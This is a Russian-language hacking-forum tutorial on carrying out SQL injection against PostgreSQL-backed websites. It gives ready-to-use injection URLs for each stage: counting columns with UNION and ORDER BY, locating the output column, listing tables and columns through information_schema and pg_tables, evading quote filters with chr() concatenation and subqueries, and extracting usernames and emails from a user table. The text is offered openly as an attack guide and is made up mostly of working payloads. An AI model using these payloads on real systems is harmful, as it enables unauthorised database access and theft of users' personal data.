Hacked Me
Главная
Регистрация
 Administrator ICQ 399114574
По умолчанию Проведение SQL-Injection в PostgreSQL

[Intro]
Всем доброе времени суток. Как я заметил - многие, сталкиваясь с иньекцией в PostgreSQL, не знают что же делать дальше. Ну что же, в этой статье я попробуй объяснить порядок действий.
Начнём!

[Подбор столбцов]

Здесь никакой экзотики, определяем так же как и в MySQL и Oracle.
Так как оператор UNION требует одинакового количества колонок как в первом, так и во втором запросе нам нужно количество этих самых колонок определить
Для этого существует 2 пути:

1. Простой перебор
допустим у нас есть сайт с иньекцией
Код:
www.site.com/index.php?id=1'

тогда выполняем такой запрос
Код:
www.site.com/index.php?id=-1+union+select+null

если появилась ошибка, то увеличиваем количество колонок на одну
Код:
www.site.com/index.php?id=-1+union+select+null,null

и так пока не исчезнет ошибка и появится пустая страница
2. Оператор ORDER BY
С помощью этого оператора можно намного проще и быстрее определить количество столбцов
Выполняем такой запрос:

Код:
www.site.com/index.php?id=-1+order+by+1--
(ошибки нет, значит столбцов 1 или больше 1)
Код:
www.site.com/index.php?id=-1+order+by+9999--
(должна появится ошибка, значит столбцов меньше 9999)
Далее подбираем таким образом правильное количество, предположим в нашем случае 4 столбца, тогда
Код:
www.site.com/index.php?id=-1+order+by+4--
(ошибки не будет)
Код:
www.site.com/index.php?id=-1+order+by+5--
(ошибка есть)

[Определяем вывод]

Предположим мы подобрали количество столбцов и их оказалось 4
Код:
www.site.com/index.php?id=-1+union+select+null,null,null,null

Теперь нас интересует в какой части страницы, какая колонка выводится. Для этого
подставим заместо одного из null - цифру

Код:
www.site.com/index.php?id=-1+union+select+null,111,null,null--

И так меняя столбцы мы узнаём вывод
Но тут не всё так просто. PostgreSQL имеет такую особенность, что столбец в первом запросе и соответствующий ему столбец во втором, должны иметь одинаковый тип данных (char,int и тд)
Чаще всего это char (например текст статьи). Кажется что ничего не сделаешь, но разработчики позаботились о нас и создали функцию to_char(). Используем так to_char(1,123) (первая цифра на бум, вторая - число которое выведется на страницу)

[Information_Schema]

К счастью, в PosgreSQL существует специальная база, в которой хранятся записи о всех существующих таблицах, колонках и тд.
Запрос к ней выглядит практически так же как и в MySQL, но с небольшой оговоркой.


Узнаём таблицы

Код:
www.site.com/index.php?id=-1+union+select+null,TABLE_NAME,null,null+from+INFO RMATION_SCHEMA.TABLES--

Таким запросом мы узнаём первую таблицу, но нам надо узнать и другие
Вы скорее всего броситесь подстовлять в конце LIMIT+1,1 =) , но здесь как раз та самая оговорка
В PostgreSQL оператор LIMIT сосоит из двух частей: LIMIT и OFFSET
Именно OFFSET отвечает за номер записи с которой производится вывод. Пример:

Код:
www.site.com/index.php?id=-1+union+select+null,TABLE_NAME,null,null+from+INFO RMATION_SCHEMA.TABLES+LIMIT+1+OFFSET+1--

Здесь после LIMIT стоит цифра 1 - это значит что на страницу выведется одна запись
После OFFSET цифра 1 - это значит что на страницу выведутся записи начиная с второй (т.к. отсчёт ведётся с 0)


Узнаём колонки

Перебрав таблицы, определяем ту которая нам будет интересна. Пусть это будет USER
То что мы знаем имя таблицы - это хорошо, но надо знать и колонки
Для этого изменяем запрос на такой:

Код:
www.site.com/index.php?id=-1+union+select+null,COLUMN_NAME,null,null+from+INF ORMATION_SCHEMA.COLUMNS--

Таким оброзом мы выводим названия колонок всех таблиц. Но нам надо узнать имена колонок именно в таблице USER
Изменяем немного наш запрос добовляя в него оператор WHERE:

Код:
www.site.com/index.php?id=-1+union+select+null,COLUMN_NAME,null,null+from+INF ORMATION_SCHEMA.COLUMNS+where+TABLE_NAME='user'--

Появится имя первой колонки в таблице user и далее добовляя LIMIT+OFFSET узнаём все колонки.
В 90% вам не удастся выполнить такой запрос и вы увидите ошибку примерно такого вида:

Цитата:
ERROR: syntax error at or near "user" at character 173

Это значит что стоит фильтрация кавычек. но это можно обойити при помощи встренной функции CHR().
Функция chr() получает ОДИН числовой аргумент n типа integer и возвращает символ с ASCII-кодом, равным n
Т.е. мы можем получить только один символ. Например chr(113) выдаст нам символ "q", но если мы захотим сделать так chr(113,114), постгрес будет ругаться на неправильно количество аргументов в функции.
Здесь бы помогла встроенная в MySQL функция CONCAT() и такая функция есть, но выглядит она немного по другому. Пример:
chr(113)||chr(114) - вернёт QR
Это конечно не удобно, особенно если имя таблицы длинное, но другого выхода я пока не нашёл.
Здесь стоит указать ссылку где можно перевести символы в их числовые значения, вот она -
Код:
http://www.paulschou.com/tools/xlate/

Но вернёмся к нашему сайту
Закодировав слово user - мы получаем вот такие числа
117 115 101 114
Составляем запрос приведённый выше, но теперь заместо слова 'USER' делаем так:

Код:
www.site.com/index.php?id=-1+union+select+null,COLUMN_NAME,null,null+from+INF ORMATION_SCHEMA.COLUMNS+where+TABLE_NAME=chr(117)| |chr(115)||chr(101)||chr(114)--

Теперь наш запрос правильный и должен вернуть имя колонки
Так же обойти фильтрацию кавычек можно подзапросом. Пример:

Код:
www.site.com/index.php?id=-1+union+select+null,COLUMN_NAME,null,null+from+INF ORMATION_SCHEMA.COLUMNS+where+TABLE_NAME=(select+T ABLE_NAME+FROM+INFORMATION_SCHEMA.TABLES+limit+1+o ffset+1)--


[PG_TABLES или альтернатива Information_schema]

В старых версиях PostgreSQL нет возможности обратиться к базе Information_schema, так как её на то время не существовало. Но к счастью для неё есть альтернатива - это таблица PG_TABLES
Стоит заметить что у неё есть большой минус, он вытекает из названия. С помощью неё мы можем узнать только таблицы, а колонки нам придётся подбирать вручную. Имена таблиц хранятся в колонке TABLENAME
Пример

Код:
www.site.com/index.php?id=-1+union+select+null,TABLENAME,null,null+from+PG_TA BLES+limit+1+offset+0--


[Хэк или достаём нужную нам инфу из таблицы]

Ну тут уже всё просто. Мы знаем имя таблицы, знаем имена колонок
Составляем запрос:

Код:
www.site.com/index.php?id=-1+union+select+null,username,null,null+from+user--

Он возвратит нам в данном случае имя юзера
Многие любят объединять 2 колонки разделяя их спец символом, что же, мы уже умеем это делать

Код:
www.site.com/index.php?id=-1+union+select+null,username||chr(58)||email,null, null+from+user--

Мы увидим запись типа Имя_юзера:мыло_юзера
Стоит сказать что в некоторых случаях данные выводятся в неправильной кодировке. Для изменения существует функция CONVERT()
Использовать так -
Цитата:
CONVERT(preved+using+utf8_to_iso_8859_1)
где:
preved - строка которую нам нужно перевести в другую кодировку
utf8_to_iso_8859_1 - из какой кодировки в какую перевести (полный список кодировок -> http://www.postgresql.org/docs/8.2/interactive/functions-string.html#CONVERSION-NAMES)


[Заключение]

В этой статье я пытался поделится своими знаниями в PostgreSQL. Вся документация взята из книги Дж. Уорсли "PostgreSQL для профессионалов" и онлайн документации на оф. сайте www.postgresql.org.
По мере того как информация будет пополнять мой мозг, статья будет обновлятся.
Спасибо }{0TT@БЬ)Ч 'у за содействие в написании статьи =)

##END

ЗЫ Моя первая статья, и не бейте =) Все обоснованные замечания с радостью приму к сведению